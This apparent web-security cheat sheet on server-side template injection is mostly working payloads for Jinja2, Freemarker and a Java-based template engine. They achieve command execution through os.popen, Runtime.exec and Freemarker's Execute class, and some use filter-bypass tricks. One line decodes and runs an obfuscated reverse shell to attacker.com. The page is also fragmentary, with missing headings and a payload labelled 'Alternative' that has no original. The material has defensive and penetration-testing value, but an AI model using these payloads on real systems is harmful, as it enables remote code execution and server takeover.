SSTI occurs when user input is embedded directly into a template string that is then rendered server-side. The template engine evaluates your input as code, leading to arbitrary code execution. Impact is critical: almost always RCE.
# Alternative — use __import__ {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Via request globals {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Bypass — when dots/brackets are filtered
# Use |attr() filter {{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}}
# Use request.args to pass payload as GET parameter GET /?x=__import__('os').popen('id').read() Template: {{request.args.x|e}} # Bypass: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# RCE via API access ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Simpler with Execute class <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} ${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash")}
{{ variable }} {% for i in range(1,5) %}{{ i }}{% endfor %}
# RCE {% set x %}{{'a'.toUpperCase()}}{% endset %} {%- for s in "aa".toCharArray() -%} {{ s.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(s.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id") }} {%- endfor -%}
No comments yet. Be the first.